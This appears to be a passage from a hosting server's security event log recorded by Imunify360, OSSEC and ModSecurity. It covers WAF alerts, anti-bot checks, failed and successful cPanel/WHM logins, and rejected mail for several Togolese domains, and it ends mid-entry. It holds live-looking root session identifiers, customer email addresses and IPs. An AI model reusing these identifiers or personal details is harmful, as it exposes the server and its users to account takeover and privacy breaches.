name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.172.53.161
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/03/JNS.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2023/03/JNS-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/03/JNS-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2023/03/JNS-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.144.45.13
country_id: 6252001
description:
[2026-06-19 09:19:52 +0000] info [cpaneld] 52.144.45.13 - rqgqpxof "GET //login?user=rqgqpxof&pass=__HIDDEN__ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.167.226
country_id: 2363686
description:
[2026-06-19 09:20:42 +0000] info [cpaneld] 41.207.167.226 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:09:22:16 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:22:16 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:09:22:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.38.193.139
country_id: 783754
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/12/gettyimages-699094073_0.jpg 980w, http:/togodailynews.tg/wp-content/uploads/2023/12/gettyimages-699094073_0-300x169.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/12/gettyimages-699094073_0-768x432.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.1.108.79
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/05/WhatsApp-Image-2024-04-07-at-07.32.51.jpeg 2560w, http:/togodailynews.tg/wp-content/uploads/2024/05/WhatsApp-Image-2024-04-07-at-07.32.51-300x200.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/05/WhatsApp-Image-2024-04-07-at-07.32.51-1024x682.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/05/WhatsApp-Image-2024-04-07-at-07.32.51-768x512.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2024/05/WhatsApp-Image-2024-04-07-at-07.32.51-1536x1024.jpeg 1536w, http:/togodailynews.tg/wp-content/uploads/2024/05/WhatsApp-Image-2024-04-07-at-07.32.51-2048x1365.jpeg 2048w, http:/togodailynews.tg/wp-content/uploads/2024/05/WhatsApp-Image-2024-04-07-at-07.32.51-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.167.226
country_id: 2363686
description:
[2026-06-19 09:21:58 +0000] info [cpaneld] 41.207.167.226 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:22:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 83.222.6.142
country_id: 1512440
description:
2026-06-19 09:23:03 H=([83.222.6.142]) [83.222.6.142]:53714 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.183.16.236
country_id: 2017370
description:
2026-06-19 09:23:18 H=([62.183.16.236]) [62.183.16.236]:37961 F=<John@4452.com> rejected RCPT <sergde@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.148
country_id: 1880251
description:
47.128.96.148 - - [19/Jun/2026:09:23:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039380&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdisciplines-sportives-suspendues-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781861032 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/disciplines-sportives-suspendues-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.148


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:09:23:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737369&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781861028 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:23:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6975126&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781861027 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.199
country_id: 1880251
description:
47.128.96.199 - - [19/Jun/2026:09:24:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985833&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feglise-evangelique-presbyterienne-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781861048 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eglise-evangelique-presbyterienne-du-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.199


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.167.226
country_id: 2363686
description:
[2026-06-19 09:24:50 +0000] info [cpaneld] 41.207.167.226 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.193.117
country_id: 2921044
description:
[2026-06-19 09:26:10 +0000] info [whostmgrd] 104.28.193.117 - anadebfreenetmas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 83.222.6.142
country_id: 1512440
description:
2026-06-19 09:27:35 H=([83.222.6.142]) [83.222.6.142]:58799 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.46.39.60
country_id: 6252001
description:
[2026-06-19 09:28:14 +0000] info [cpaneld] 209.46.39.60 - richard "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - support@cloud-et-racks.tg [06/19/2026:09:30:06 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: support@cloud-et-racks.tg


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:29:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316955&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781861394 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11009
name: WHM login success
abuser: 104.28.162.223
country_id: 2510769
description:
[2026-06-19 09:30:25 +0000] info [whostmgrd] 104.28.162.223 NEW root:F0I3wOIiPfFg9ziT address=104.28.162.223,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.66
country_id: 298795
description:
Jun 19 09:29:35 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.66 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 104.28.162.223
country_id: 2510769
description:
[2026-06-19 09:30:14 +0000] info [whostmgrd] 104.28.162.223 - root "GET /cpsess4179796351/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [104.28.162.223]


plugin: ossec
rule: 11011
name: WHM SSO login failed
abuser: 104.28.162.223
country_id: 2510769
description:
[2026-06-19 09:30:21 +0000] info [whostmgrd] 104.28.162.223 PURGE root:ai8KcpD91pbfRLsG badpass [cookie ip check: IP address has changed: IP Address [80.248.64.198] != Current IP Address [104.28.162.223]]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.144.114.253
country_id: 6252001
description:
[2026-06-19 09:31:09 +0000] info [cpaneld] 45.144.114.253 - ftchabagna "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-19 09:32:06 +0000] info [cpaneld] 102.54.238.57 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 65.49.1.133
country_id: 6252001
domain: mail.ccl.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4951.41 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.183.16.236
country_id: 2017370
description:
2026-06-19 09:32:26 H=([62.183.16.236]) [62.183.16.236]:10402 F=<John@4452.com> rejected RCPT <sergde@dgdn-togo.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 09:35:11 +0000] info [cpaneld] 185.55.240.13 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.178
country_id: 3175395
description:
Jun 19 09:35:17 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.8.10.60
country_id: 2017370
description:
2026-06-19 09:34:59 dovecot_plain authenticator failed for H=(vw56a12mahud8mxrvl9jn72l) [5.8.10.60]:36667: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.228.248
country_id: 1269750
description:
Jun 19 09:35:06 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.228.248 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:35:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 105.21.66.86
country_id: 226074
description:
[2026-06-19 09:36:20 +0000] info [cpaneld] 105.21.66.86 NEW pnls:9Tj_VLwgAZ8JwdQp address=105.21.66.86,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.178
country_id: 3175395
description:
Jun 19 09:35:30 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.178 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:35:44 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.53.237.180
country_id: 3439705
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/11/t\xc3\xa9l\xc3\xa9chargement-23.jpeg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:09:35:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:09:35:47 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.138.210
country_id: 690791
description:
Jun 19 09:36:06 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.138.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.83
country_id: 690791
description:
Jun 19 09:38:08 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.83 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.180.208.48
country_id: 6252001
description:
[2026-06-19 09:37:34 +0000] info [cpaneld] 5.180.208.48 - testsave "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:09:39:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10340714&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781861965 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:39:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6513821&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781861972 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 41.207.169.28
country_id: 2363686
domain: tdn.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:msg||MV:Uncaught SyntaxError: Unexpected token '<'||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.180.208.48
country_id: 6252001
description:
[2026-06-19 09:39:31 +0000] info [cpaneld] 5.180.208.48 - rdlizssu "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.193.117
country_id: 2921044
description:
[2026-06-19 09:40:08 +0000] info [whostmgrd] 104.28.193.117 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.225.117
country_id: 2921044
description:
[2026-06-19 09:40:09 +0000] info [whostmgrd] 104.28.225.117 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 09:40:54 +0000] info [cpaneld] 185.55.240.13 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.133.6.97
country_id: 1210997
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/kick-off-meeting-2021 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 37.27.253.44
country_id: 660013
description:
37.27.253.44 - - [19/Jun/2026:09:42:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10208925&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253Db21haXIuYWxoYXJ0aGlAYXJhbWNvLmNvbQ%253D%253D&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781862142 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=b21haXIuYWxoYXJ0aGlAYXJhbWNvLmNvbQ==" "Mozilla/5.0 (Linux; arm_64; Android 13; 21091116AG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.117 YaBrowser/26.4.4.117.00 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:37.27.253.44


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 221.120.237.119
country_id: 1168579
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/lancement-officiel-djama-lager HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.193.117
country_id: 2921044
description:
[2026-06-19 09:43:03 +0000] info [whostmgrd] 104.28.193.117 - abttogo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:09:44:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249057&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781862288 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.111.197.142
country_id: 1562822
description:
[2026-06-19 09:45:22 +0000] info [cpaneld] 172.111.197.142 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.160.123
country_id: 2363686
description:
102.64.160.123 - - [19/Jun/2026:09:45:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116440&pdata=https%253A%252F%252Ftdn.tg%252Fbenin-renouveler-passeport-30-minutes-epass%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781862333 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/benin-renouveler-passeport-30-minutes-epass/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.160.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 09:45:55 +0000] info [cpaneld] 185.55.240.13 - polyfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user polyfree (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.225.117
country_id: 2921044
description:
[2026-06-19 09:47:02 +0000] info [whostmgrd] 104.28.225.117 - NS4  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.193.117
country_id: 2921044
description:
[2026-06-19 09:46:37 +0000] info [whostmgrd] 104.28.193.117 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-19 09:50:05 +0000] info [cpaneld] 102.54.238.57 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.44.47.202
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/wp/v2/posts/6044 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.247.174.98
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/transition-verte-energetique-et-numerique-ifc-et-lue-sassocient-pour-stimuler-lintegration-economique-dans-les-balkans-occidentaux HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.162.191.201
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/referencement-ckool HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.177
country_id: 1880251
description:
47.128.96.177 - - [19/Jun/2026:09:50:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6472854&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjeune-femme-leader%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781862658 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jeune-femme-leader/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.177


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.93.253
country_id: 1562822
domain: www.djama.tg
description:
